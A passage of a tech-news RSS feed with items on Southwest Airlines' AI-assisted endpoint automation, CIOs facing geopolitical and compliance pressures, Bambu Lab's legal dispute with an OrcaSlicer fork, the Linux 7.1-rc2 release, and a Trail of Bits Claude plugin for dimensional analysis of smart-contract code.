<p>The airline has around 8,000 back-office PCs, with as many as 20 employees logging in to each one. Because full Microsoft 365 profiles are downloaded when a user logs in, the PC hard drives fill up and cause performance issues. Remote actions were used to delete user profiles for employees that hadn’t logged in for a week or more – averting the planned purchase of 1-terabyte hard drives to deal with the demands, said Whisenhunt.</p>



<p>Remote actions can also be combined into automated workflows using ‘if/and’ statements to perform more complex actions. </p>



<p>Over the last month or so, Southwest has automated approximately 5.8 million remote actions “across a range of endpoint health, security, and lifecycle workflows,” said Whisenhunt, the majority of which center on disk space management, with 13 remote actions executed roughly 3 million times to “proactively reclaim disk space.”</p>



<p>The team was able to address a 20% failure rate for its Microsoft SCCM client — used for software and security updates on employee devices — chaining together several remote actions to check the health of the client, restart the service, and, if needed, repair or reinstall the client software.</p>



<p>The DEX platform also integrates with ServiceNow to enable automated ticket generation when users run into technical problems.</p>



<p>“For example, if we see your system had three blue screens of death in 24 hours, a ticket is automatically generated,” he said, working around any  employees who would rather put up with the inconvenience than file a trouble ticket. </p>



<p>“A lot of people don’t even call the service desk, they’re like, ‘Whatever – reboot, just deal with it. I don’t have time for this.’”</p>



<h2 class="wp-block-heading">Using AI to boost productivity and empower workers </h2>



<p>In addition to workflow automation, Whisenhunt said AI tools could help boost productivity. Nexthink’s Workspace — an LLM-based conversational assistant — lets staff quickly find information about problems affecting their devices, and can  provide guidance around what tasks to prioritize. </p>



<p>That’s helped the end user computing team access relevant data faster, he said, “while allowing our analysts and our engineers to focus on what’s more important.”</p>



<p>The team uses Workspace daily, he said, to monitor device health, application performance, security posture, and lifecycle signals. It’s also used to trigger remote actions to correct issues “often before the employee is aware there’s a problem,” said Whisenhunt.</p>



<p>“This has shifted the team from a ticket‑driven, reactive support model to a proactive operations model where we can detect degradation, validate remediation outcomes, and continuously improve stability at scale,” he said. The result has been a reduction in service desk volumes, “faster time‑to‑resolution when issues do surface, improved endpoint reliability, and meaningful recovery of engineering capacity previously spent on repetitive fixes.” </p>



<p>Southwest plans to roll out Nexthink’s Spark — an AI tool designed to tackle user problems by diagnosing and suggesting simple fixes before contacting IT. A pilot rollout is in the works, said Whisenhunt, starting with the IT team.</p>



<p>“By combining real‑time context from the endpoint with IT‑approved automation and guided remediation, Spark allows users to resolve many issues themselves, in the moment, without opening a ticket or waiting for human intervention,” he said.</p>



<p>Beyond the potential productivity boost, Whisenhunt is taking steps to mitigate possible AI downsides. ‘As with any AI‑driven capability in an enterprise IT environment, we do have healthy concerns around reliability, oversight, and ensuring the right balance between automation and control,” he said</p>



<p>“We are treating trust as something that must be earned over time through strong governance, clear guardrails, and continuous validation of outcomes rather than assuming it from day one.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Trump in Beijing]]></title>
<description><![CDATA[The president will get the red carpet treatment, but the deep rift between the U.S. and China will be very hard to repair.]]></description>
<link>https://tsecurity.de/de/3515080/ai-nachrichten/trump-in-beijing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3515080/ai-nachrichten/trump-in-beijing/</guid>
<pubDate>Wed, 13 May 2026 23:32:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The president will get the red carpet treatment, but the deep rift between the U.S. and China will be very hard to repair.]]></content:encoded>
</item>
<item>
<title><![CDATA[CIOs rise to the global challenge]]></title>
<description><![CDATA[As if IT leaders didn’t have enough to contend with as demand for enterprise-wide AI increases, a volatile geopolitical climate now mandates that they adopt a more global-centric mindset on everything from their tech supply chains and regulation to distributed infrastructure and workforces.



La...]]></description>
<link>https://tsecurity.de/de/3506576/it-nachrichten/cios-rise-to-the-global-challenge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3506576/it-nachrichten/cios-rise-to-the-global-challenge/</guid>
<pubDate>Mon, 11 May 2026 12:18:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>As if IT leaders didn’t have enough to contend with as demand for enterprise-wide AI increases, a volatile geopolitical climate now mandates that they adopt a more global-centric mindset on everything from their tech supply chains and regulation to distributed infrastructure and workforces.</p>



<p>Lately, the news has spoken volumes about the Iran war’s impact on technology — drone strikes damaging AWS data centers in Bahrain and the United Arab Emirates, as well as heightened cyberattacks, and the threat of semiconductor shortages.</p>



<p>“This is not merely a war of missiles and militias, but a war across networks, supply chains, and systems that power the modern world,” <a href="https://www.techpolicy.press/the-iran-war-will-disrupt-the-digital-order-and-redefine-sovereignty/" rel="nofollow">wrote</a> S. Yah Kalash, a senior fellow at the Centre for International Governance Innovation. “Its most enduring consequence will not be territorial change, but the acceleration of a fractured, contested, and deeply politicized global technological order.”</p>



<p>Even as IT departments have received modest increases to fund AI initiatives in the past year, C-level economic worry over increased energy costs, persistent inflation, and a decline in the global economy will directly impact the tech organization, according to a recent Forrester report.</p>



<p>“CIOs will once again need to double down on IT spend management through prioritization, targeted cost cutting, tight vendor management, and other techniques,” the report said. “Skepticism about AI ROI will increase, forcing both CIOs and … CISOs to defend investments.”</p>



<p>Like in any situation, a time of global unrest makes it critically important for IT leaders to continue fostering open communication with the rest of the executive team to set achievable goals and manage expectations effectively.<br><br>“Stay deeply connected to the rest of the C-suite and understand what impacts on the business are occurring because of the volatility,” says Mark Moccia, a vice president and research director at Forrester. “This may result in tech budget reductions in the short-term due to [profit and loss] pressures.”</p>



<h2 class="wp-block-heading">‘A perfect storm of challenges’ for IT leaders</h2>



<p>IT leaders say they are not daunted by the challenge geopolitical tensions are inflicting. <a href="https://www.linkedin.com/in/tadastamosaitis/" rel="nofollow">Tadas Tamošaitis</a>, CTO of Vilnius, Lithuania-basedFL Technics, a global independent aircraft maintenance, repair, and overhaul (MRO) services provider, is all too familiar with them. The aviation industry operates at the intersection of some of the world’s most demanding regulatory, geopolitical, and supply chain pressures. It’s up to the IT group to hold it all together in real-time, he says.</p>



<p>“Airlines expect aircraft back in service on tight schedules, so any disruption to our digital systems has immediate, measurable consequences on the ground,” Tamošaitis says. </p>



<p>Right now, the global MRO sector is navigating what he calls “a perfect storm of challenges,” given that post-pandemic demand surges have strained already fragile aerospace supply chains. Component lead times for critical parts are reaching record lengths, Tamošaitis says.</p>



<p>“Geopolitical tensions — from tighter export controls on dual-use technologies to airspace restrictions that affect where and how we move aircraft and parts — are constantly reshaping the logistics map,” he says. </p>



<p>At the same time, global regulators and a growing number of national aviation authorities are evolving their digital and data requirements in ways that don’t always align, Tamošaitis says.</p>



<p>“For an MRO operating across multiple jurisdictions, this creates real complexity: The same data about an aircraft configuration may need to be stored, accessed, and shared differently depending on which authority has oversight,” he says.</p>



<p>Layered on top of that is the constant threat of cyberattacks. “MRO companies hold highly sensitive engineering data — aircraft configurations, maintenance histories, logistics systems — making them attractive targets,” Tamošaitis says. “A successful cyberattack doesn’t just disrupt IT; it can ground aircraft. We must build systems that are air-gapped and resilient enough to withstand attacks while remaining connected enough for 24/7 global coordination.”</p>



<p>Recently, FL Technics completed its acquisition of Job Air Technic, which Tamošaitis says added a significant systems integration dimension. It was a complex task that required consolidating legacy IT infrastructure, data warehouses, and operational procedures across the acquired entities — without interrupting maintenance operations that run around the clock.</p>



<p>“It’s one thing to plan an IT integration on paper; it’s another to execute it when an aircraft entering the hangar at 2 a.m. can’t wait for a data migration to finish,” he says.</p>



<h2 class="wp-block-heading">Global challenges reshape IT stacks and strategies</h2>



<p>For Moe Rosenfeld, CIO of New York-based eCopier Solutions, supply chain woes are what’s keeping him up at night.</p>



<p>“The hardware side of document management runs through a global manufacturing chain, and geopolitical tension shows up in lead times, component availability, and vendor stability in ways that weren’t on my radar five years ago,” explains Rosenfeld. “You have to think about your technology stack the way a logistics person thinks about freight routes now.”</p>



<p>IT leaders used to evaluate technology mostly on features and cost, he notes. “Now, I’m asking questions I never used to ask, like where is this vendor headquartered, where are their servers physically located, what happens to my clients’ data if there’s a trade disruption, or a sanctions situation that affects that vendor’s country of origin.”</p>



<p>Global supply chains are forcing a fundamental shift in how IT architectures are designed, agrees <a href="https://www.miebach.com/us/en/about-us/team/victoria-ma" rel="nofollow">Victoria Ma</a>, head of services and digital innovation USA and Canada at supply chain consulting company Miebach, which operates across four continents.</p>



<p>“Instead of optimizing for a single, centralized model, organizations now have to support a network that spans multiple regions, regulatory environments, and operating models,” Ma says. “This introduces significant complexity across systems and data. Planning and execution systems must integrate not only across internal functions, but also across external partners — suppliers, manufacturers, and logistics providers — often operating on different platforms and standards in different parts of the world.”</p>



<h2 class="wp-block-heading">Identifying AI use cases that can work across regions</h2>



<p>Navigating AI adoption in a globally distributed operating environment is also a core pain point. <a href="https://www.linkedin.com/in/bocm/" rel="nofollow">Remi Alli</a>, CIO of Black Wallet, the parent company of Kiros, a token ecosystem, says that agent sprawl — the chaos of hundreds of autonomous AI tools popping up in different business units without a cohesive plan — is a global headache.</p>



<p>“The biggest hurdle is keeping a unified, secure infrastructure when [dealing with] regional regulations, like new AI transparency laws,” Alli says. “This makes one-size-fits-all impossible and forces us to move from global, centralized sourcing to more complex regional strategies.”</p>



<p>Black Wallet is working through this by creating “AI Councils” that act as gatekeepers to vet use cases, ensure data compliance, and prevent fragmented architectures. “We are also replacing annual planning with quarterly ‘<a href="https://www.cio.com/article/193734/secrets-of-successful-business-it-co-creation.html">tech-business co-creation’</a> workshops to make sure our AI projects actually move the ROI needle, rather than just experimenting,” Alli says.</p>



<p>AI and the global regulatory landscape are “making an already complicated situation genuinely chaotic,” Rosenfeld says. “The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html">EU AI Act</a> is in motion, the US is still figuring out its federal approach, individual states are moving on their own, and other countries are doing all of the above at different speeds and with different philosophies.”</p>



<p>For anyone managing cross-border data workflows, AI-embedded tools now carry regulatory weight that didn’t exist two years ago, he says. “And the hard part is the rules aren’t finished being written. You’re making infrastructure decisions today against a compliance target that’s still moving. That’s not a comfortable place to be, but it’s where we are.”</p>



<p>To further complicate matters, while there is strong pressure from boards and executives to accelerate AI strategies, organizations are struggling to identify use cases that hold up across regions with differing data quality, regulatory requirements, and operational maturity levels, according to Ma.</p>



<p>At the same time, the vendor landscape is crowded with “AI-enabled” platforms that often don’t translate well across global supply chains, Ma observes.</p>



<p>“A solution that performs in one region may not scale due to differences in data availability, infrastructure, or compliance constraints,” she says. “This puts IT leaders in a difficult position: They must filter through vendor claims while ensuring that selected technologies can operate consistently across a fragmented global footprint.”</p>



<p>The challenge is less about adopting AI quickly and more about building a scalable, regionally adaptable foundation that delivers measurable value across the entire network, Ma says.</p>



<h2 class="wp-block-heading">Coping with compliance</h2>



<p>Maintaining regulatory compliance across borders is another big challenge. As far as Rosenfeld is concerned, no one is talking enough about how fast the compliance surface area has expanded.</p>



<p>“A few years ago, you were thinking about HIPAA, maybe some state-level privacy rules,” he says. “Now, I’m looking at clients with distributed workforces and asking whether their document workflows touch EU data subjects, because if they do, GDPR is in the room, whether they invited it or not.”</p>



<p>This is before having to stay abreast of AI-related regulations that are still being written in real-time across different jurisdictions, Rosenfeld adds.</p>



<p><a href="https://www.linkedin.com/in/elijah-fernandez-818142266/" rel="nofollow">Elijah Fernandez</a>, co-founder and CTO of virtual behavioral health platform Cerevity Health, agrees, saying his purview has shifted from managing physical networks to securing a heavily dispersed clinical workforce and navigating fragmented data regulation.</p>



<p>“In health tech, data sovereignty and cross-border regulations are moving targets. When your workforce is highly distributed, traditional perimeter defense completely fails. You are no longer securing a corporate office building,” Fernandez says. “You are securing hundreds of individual endpoints operating on different local networks, often subject to overlapping or conflicting regional privacy laws.”</p>



<p>For FL Technics’ Tamošaitis, the mantra is maintain flexibility within structure. “We are implementing unified ERP and logistics platforms that operate across regions while respecting local regulatory silos — data residency rules, export controls, and jurisdiction-specific compliance requirements.”</p>



<p>Where cloud is permitted, the company leverages hybrid and multicloud architectures for resilience and scalability. Officials maintain on-premises infrastructure in countries whose regulations require it, such as EU data centers for GDPR, and US-based systems for FAA requirements, Tamošaitis says. “It adds complexity,” he admits, “but it’s non-negotiable.”</p>



<p>To maintain compliance across boundaries, Fernandez says they had to mandate “absolute standardization” at the infrastructure level.</p>



<p>“For example, to ensure our audit logs and clinical records remain forensically sound across different geographies, we configured our entire electronic health record system to operate strictly on Pacific Standard Time,” he notes. “No matter where a provider logs in from, the infrastructure standardizes the chronological data to a single source of truth. We also shifted entirely to a zero trust architecture, assuming every local network our workforce uses is inherently compromised.”</p>



<p>Regulatory compliance is also an impetus for FL Technics to invest heavily in training its IT teams, as well as heightening cybersecurity for critical infrastructure environments and digital integration in operationally intense, engineering-heavy contexts.</p>



<p>“The technical tools matter, but you need people who understand the domain well enough to make the right calls under pressure,” Tamošaitis says.</p>



<p>And for companies like FL Technics that are dealing with cross-border acquisitions, Tamošaitissays IT needs to do its due diligence ahead of time — and plan for the long haul.</p>



<p>“A pre-planned integration roadmap is essential. … Expect 12-to-18 months of parallel systems,” he says. “The cost of maintaining that redundancy is far lower than the cost of operational disruption if you rush the cutover.”</p>



<h2 class="wp-block-heading">Build for flexibility — and think of your people</h2>



<p>Asked about how IT leaders can navigate today’s global realities, IT leaders and experts offered the following advice.</p>



<p><strong>Modularity is king.</strong> Tamošaitisadvises IT leaders to ensure they build for modularity from the outset, given that regulations shift, geopolitical realities change, and new markets bring new requirements. “IT architectures that can be reconfigured quickly are a genuine competitive advantage,” he says. “Rigid, monolithic systems become a liability the moment the external environment changes.”</p>



<p><strong>Reassure the board about resiliency.</strong> Maintaining resiliency in uncertain geopolitical times is a boardroom top concern. With critical infrastructure in particular, boards need to know that IT can sustain operations during a serious cyberattack, he says. “That conversation needs to happen at the highest level, and budgets need to reflect the stakes — not just peer benchmarks,” Tamošaitis says.</p>



<p><strong>Streamline decision-making and reduce concentration risk. </strong>Forrester’s Moccia says it’s a good idea to have a ready-to-go, always-on prioritization process to quickly de-prioritize any “below the line” items that can wait. He also recommends reducing concentration risk in suppliers and platforms, and to continue looking for areas of possible consolidation and contracts that don’t need to be renewed.</p>



<p><strong>Get in front of the global compliance challenge.</strong> Rosenfeld advises global organizations to stop treating global compliance as a legal department problem that occasionally touches IT. “It lives in IT; the data flows, the access controls, the residency requirements, etc.,” he stresses. “Those are technical decisions with legal consequences, and if you’re waiting for counsel to tell you what to build, you’re already behind. Get in front of it, map where your data actually goes, and own that conversation.”</p>



<p><strong>Invest in talent. </strong>On the people side, invest in specialized talent, and do not underestimate the importance of retention, Tamošaitis says. “Geopolitical friction and regulatory complexity require IT professionals with deep domain knowledge; people who understand aviation regulation, export controls, or data sovereignty, not just technology,” he says. “That talent is already scarce and will become even scarcer. Build training programs, career paths, and the kind of environment where those people want to stay.”</p>



<p><strong>Leadership matters.</strong> As you reassure your boards, keep your employees in the loop, too. Moccia says leaders should continue to be transparent and visible with the entire IT organization and share C-suite insights on impacts from the volatility to the company and what leadership is doing to minimize that.</p>



<p><strong>Don’t shortchange self-care.</strong> Moccia also advises IT leaders not to forget self-care. “The job of any C-suite leader is intense and always on. Volatility is just another flavor or change and chaos in your day, so maintaining personal stress levels is more critical than ever, whatever shape and form that takes for the CIO personally.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Open Source Project Shuts Down Over Legal Threats from 3D Printer Company Bambu Lab]]></title>
<description><![CDATA[The free/open source project OrcaSlicer is a popular fork of 3D printer slicing software from Bambu Lab. But Tuesday independent developer Pawel Jarczak shuttered the project "following legal threats from Bambu Lab," reports Tom's Hardware:

Jarczak's fork of OrcaSlicer would have allowed users t...]]></description>
<link>https://tsecurity.de/de/3505711/it-security-nachrichten/open-source-project-shuts-down-over-legal-threats-from-3d-printer-company-bambu-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3505711/it-security-nachrichten/open-source-project-shuts-down-over-legal-threats-from-3d-printer-company-bambu-lab/</guid>
<pubDate>Mon, 11 May 2026 05:52:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The free/open source project OrcaSlicer is a popular fork of 3D printer slicing software from Bambu Lab. But Tuesday independent developer Pawel Jarczak shuttered the project "following legal threats from Bambu Lab," reports Tom's Hardware:

Jarczak's fork of OrcaSlicer would have allowed users to bypass Bambu Connect, a middleware application that severely limits OrcaSlicer's access to remote printer functions in the name of security. Jarczak said in a note on GitHub that Bambu Lab threatened him with a cease and desist letter and accused him of reverse engineering its software in order to impersonate Bambu Studio. 

From Bambu Lab's blog post:


Bambu Studio is an open-source project under the AGPL-3.0 license. Anyone can take its code, modify it, and distribute it... That's what OrcaSlicer does, and 734 other forks do as well. We have no issue with that and never have. At the same time, a license for code is not a pass to our cloud infrastructure... Our cloud is a private service. Access to it is governed by a user agreement, not the AGPL license... [T]he modification in question worked by injecting falsified identity metadata into network communication. In simple terms: it pretended to be the official Bambu Studio client when communicating with our servers... If this method were widely adopted or incorrectly configured, thousands of clients could simultaneously hit our servers while impersonating the official client. 

"User-Agent is not authentication," counters OrcaSlicer's developer. "It is only self-declared client metadata. Any program can set any User-Agent." And "the User-Agent construction comes directly from Bambu Lab's own public AGPL Bambu Studio code.... So on what basis can anyone claim that I am not allowed to use this specific part of AGPL-licensed code under the AGPL license...? My work was based on publicly available Bambu Studio source code together with my own integration layer." 

But the bottom line is that Bambu Lab "contacted me directly and demanded removal of the solution."

I asked whether I could publish the private correspondence in full for transparency. That request was refused... They also referred to legal materials and stated that a cease and desist letter had been prepared... 

I removed the repository voluntarily. That removal should not be interpreted as an admission that all legal or technical allegations made against the project were correct. I removed it because I have no interest in maintaining a prolonged dispute around this particular implementation, and no interest in continuing to distribute it. 

YouTuber and right-to-repair advocate Louis Rossmann reviewed the correspondence from Bambu Lab — then pledged $10,000 for legal expenses if the developer returned his code online. ("I think that their legal claim is bullshit," Rossman said Saturday in a YouTube video for his 2.5 million subscribers. "I'm not a lawyer, but I'm willing to put my money where my mouth is.") 

The video now has over 129,000 views so far. "Rossman has not started a crowdfunding site yet," Tom's Hardware notes, "stating in the comments that he wants to prove to Jarczak that he has supporters willing to put their money where their mouth is. The video had over 129,000 views so far, with commenters vowing to back the case as requested."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Open+Source+Project+Shuts+Down+Over+Legal+Threats+from+3D+Printer+Company+Bambu+Lab%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F05%2F11%2F0235215%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F05%2F11%2F0235215%2Fopen-source-project-shuts-down-over-legal-threats-from-3d-printer-company-bambu-lab%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/05/11/0235215/open-source-project-shuts-down-over-legal-threats-from-3d-printer-company-bambu-lab?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux 7.1-rc2 Released with Driver Fixes, Steam Deck OLED Audio Repair, and Growing AI Patch Trends]]></title>
<description><![CDATA[by George Whittaker
      
            Linus Torvalds has officially released Linux kernel 7.1-rc2, the second release candidate in the Linux 7.1 development cycle. While Torvalds described the update as a “fairly normal” RC release, the kernel includes a broad collection of driver fixes, subsyst...]]></description>
<link>https://tsecurity.de/de/3502007/unix-server/linux-71-rc2-released-with-driver-fixes-steam-deck-oled-audio-repair-and-growing-ai-patch-trends/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3502007/unix-server/linux-71-rc2-released-with-driver-fixes-steam-deck-oled-audio-repair-and-growing-ai-patch-trends/</guid>
<pubDate>Sat, 09 May 2026 02:01:30 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341425" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/linux-7-1-rc2-released-with-driver-fixes-steam-deck-oled-audio-repair-and-growing-ai-patch-trends.jpg" width="500" height="294" alt="Linux 7.1-rc2 Released with Driver Fixes, Steam Deck OLED Audio Repair, and Growing AI Patch Trends" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Linus Torvalds has officially released <strong>Linux kernel 7.1-rc2</strong>, the second release candidate in the Linux 7.1 development cycle. While Torvalds described the update as a “fairly normal” RC release, the kernel includes a broad collection of driver fixes, subsystem cleanups, and stability improvements that continue shaping the next major Linux kernel release.</p>

<p>Although still an early testing version intended mainly for developers and enthusiasts, Linux 7.1-rc2 already delivers several notable fixes—especially for graphics hardware, networking, and gaming devices like the Steam Deck OLED.</p>

<h2><strong>A Strange-Looking Release—But for a Good Reason</strong></h2>

<p>One of the first things Torvalds mentioned in the release announcement was the unusually large patch statistics. At first glance, the release appears much larger than expected, but there’s an explanation behind the inflated numbers.</p>

<p>Much of the activity comes from a large cleanup effort in the <strong>KVM selftests</strong> subsystem, where developers renamed variables and types to better match Linux kernel coding conventions. Because thousands of lines were renamed rather than fundamentally rewritten, the patch count looks dramatic even though the underlying functional changes are relatively modest.</p>

<p>Torvalds specifically advised testers not to overreact to the “big and strange” diff statistics.</p>

<h2><strong>Graphics and Driver Fixes Take Center Stage</strong></h2>

<p>As is common during early release candidates, a large portion of the work in Linux 7.1-rc2 focuses on hardware drivers. GPU and networking drivers account for a significant share of the meaningful fixes in this release.</p>

<p>Notable improvements include:</p>

<ul><li>Additional fixes for AMD GPU support</li>
	<li>Intel Xe graphics driver adjustments and tuning</li>
	<li>Networking stability improvements</li>
	<li>Filesystem fixes, including NTFS driver updates</li>
	<li>Memory leak patches and race-condition corrections</li>
</ul><p>These kinds of updates are critical during the RC phase because they help stabilize hardware compatibility before the final release reaches mainstream distributions.</p>

<h2><strong>Steam Deck OLED Audio Finally Gets Fixed</strong></h2>

<p>One of the more interesting fixes in Linux 7.1-rc2 addresses a long-standing issue affecting the <strong>Steam Deck OLED</strong>. According to reports, audio support for Valve’s handheld had been broken in the mainline Linux kernel for nearly two years, forcing Valve and some handheld-focused distributions to carry their own downstream patches and workarounds.</p>

<p>With Linux 7.1-rc2, an upstream fix for the audio issue has finally landed, potentially simplifying support for Linux gaming handhelds moving forward.</p>

<p>For Linux gamers and portable gaming enthusiasts, this is one of the more practical improvements included in the release candidate.</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/linux-71-rc2-released-driver-fixes-steam-deck-oled-audio-repair-and-growing-ai-patch-trends" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Try our new dimensional analysis Claude plugin]]></title>
<description><![CDATA[We’re releasing a new Claude plugin for developing and auditing code that implements dimensional analysis, a technique we explored in our most recent blog post. Most LLM-based security skills ask the model to find bugs. Our new dimensional-analysis plugin for Claude Code takes a different approac...]]></description>
<link>https://tsecurity.de/de/3501412/it-security-nachrichten/try-our-new-dimensional-analysis-claude-plugin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3501412/it-security-nachrichten/try-our-new-dimensional-analysis-claude-plugin/</guid>
<pubDate>Fri, 08 May 2026 23:19:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We’re releasing a new <a href="https://github.com/trailofbits/skills/tree/main/plugins/dimensional-analysis">Claude plugin</a> for developing and auditing code that implements dimensional analysis, a technique we explored in our most recent <a href="https://blog.trailofbits.com/2026/03/24/spotting-issues-in-defi-with-dimensional-analysis/">blog post</a>. Most LLM-based security skills ask the model to find bugs. Our new dimensional-analysis plugin for Claude Code takes a different approach: it uses the LLM to annotate your codebase with dimensional types, then flags mismatches mechanically. In testing against real audit findings, it achieved 93% recall versus 50% for baseline prompts.</p>
<p>You can download and use our new <code>dimensional-analysis</code> plugin by running these commands:</p>
<pre>
claude plugin marketplace add trailofbits/skills
claude plugin install dimensional-analysis@trailofbits
claude /dimensional-analysis
</pre>
<h2>How our plugin differs from most skills</h2>
<p>This plugin release is quite different from the wave of security analysis skills released over the past few weeks. The skills we’ve seen tend to take a relatively simple approach, where the LLM is primed with a set of vulnerability classes, exploration instructions, and example findings, and is then told to try to identify bugs within the scope of the skill.</p>
<p>Unfortunately, these approaches tend to produce low-quality results, with precision, recall, and determinism that is often much poorer than simply asking an LLM to “find the bugs in this project.”</p>
<p>What makes <code>dimensional-analysis</code> different is that instead of relying on LLM judgement to search for, identify, and rank vulnerabilities, it uses the LLM as a vocabulary-building/categorization machine that directly annotates the codebase. If the annotations are correct and a dimensional bug is present, that bug shows up as a mismatch between annotations instead of having to rely on an LLM’s judgement to determine how viable a finding is. In effect, this changes the calculus of how the LLM’s reasoning capability is being used, and produces much better results than baseline prompts that overly rely on LLM reasoning capabilities.</p>
<h2>Benchmarking</h2>
<p>We tested <code>dimensional-analysis</code> against a set of dimensional mismatch issues found during several unpublished audits and compared it to a baseline prompt using 10 samples per codebase. For this evaluation, the <code>dimensional-analysis</code> plugin had a recall rate of 93% with a standard deviation of 12%, versus the baseline prompt, which had a recall rate of 50% with a standard deviation of 20%. This means that <code>dimensional-analysis</code> performed both better and more consistently than the baseline prompt.</p>
<h2>How it works</h2>
<p>If you haven’t already, read our first <a href="https://blog.trailofbits.com/2026/03/24/spotting-issues-in-defi-with-dimensional-analysis/">blog post</a> on the dimensional analysis technique. The plugin works over four main phases: dimension discovery, dimension annotation, dimension propagation, and dimension validation.</p>
<p>In the first phase, a subagent performs dimension discovery, with the goal of identifying a vocabulary of fundamental base units that every numerical term in the system is composed of. During this process, it also identifies a set of common derived units for quick reference by later agents.</p>
<p>




 

 




 


 <figure>
 <img src="https://blog.trailofbits.com/2026/03/25/try-our-new-dimensional-analysis-claude-plugin/try-our-new-dimensional-analysis-claude-plugin-image-1_hu_7d3093e4aab4ef47.webp" alt="Figure 1: A sample of a dimensional vocabulary for a protocol using Uniswap v4 hooks" width="1200" height="733" loading="lazy" decoding="async">
 <figcaption>Figure 1: A sample of a dimensional vocabulary for a protocol using Uniswap v4 hooks</figcaption>
 </figure>
</p>
<p>The dimensional vocabulary is persisted to <code>DIMENSIONAL_UNITS.md</code>, where it can be read by other agents or used during development if you choose to make the annotations a permanent part of your software development lifecycle.</p>
<p>In the second phase, a group of subagents is launched to directly annotate the codebase using the dimensional vocabulary. Each subagent is provided with the <code>DIMENSIONAL_UNITS.md</code> file, a batch of files to annotate, and instructions to annotate state variables, function arguments, variable declarations, and any portions of complex arithmetic. These initial annotations are called “anchor” annotations.</p>
<figure class="highlight">
 <pre tabindex="0" class="chroma"><code class="language-solidity" data-lang="solidity"><span class="line"><span class="cl"><span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">currentPrice</span> <span class="o">&lt;</span> <span class="n">peakPrice</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="c1">// D18{1} = (D18{price} - D18{price}) * D18{1} / (D18{price} - D18{price})
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">imbalance</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl"> <span class="p">((</span><span class="n">peakPrice</span> <span class="o">-</span> <span class="n">currentPrice</span><span class="p">)</span> <span class="o">*</span> <span class="n">imbalanceSlopeData</span><span class="p">.</span><span class="n">imbalanceSlopeBelowPeak</span><span class="p">)</span> <span class="o">/</span>
</span></span><span class="line"><span class="cl"> <span class="p">(</span><span class="n">peakPrice</span> <span class="o">-</span> <span class="n">eclpParams</span><span class="p">.</span><span class="n">alpha</span><span class="p">.</span><span class="n">toUint256</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="c1">// D18{1} = (D18{price} - D18{price}) * D18{1} / (D18{price} - D18{price})
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">imbalance</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl"> <span class="p">((</span><span class="n">currentPrice</span> <span class="o">-</span> <span class="n">peakPrice</span><span class="p">)</span> <span class="o">*</span> <span class="n">imbalanceSlopeData</span><span class="p">.</span><span class="n">imbalanceSlopeAbovePeak</span><span class="p">)</span> <span class="o">/</span>
</span></span><span class="line"><span class="cl"> <span class="p">(</span><span class="n">eclpParams</span><span class="p">.</span><span class="n">beta</span><span class="p">.</span><span class="n">toUint256</span><span class="p">()</span> <span class="o">-</span> <span class="n">peakPrice</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre>
 <figcaption><span>Figure 2: A sample of annotated arithmetic from Balancer v3</span></figcaption>
</figure>
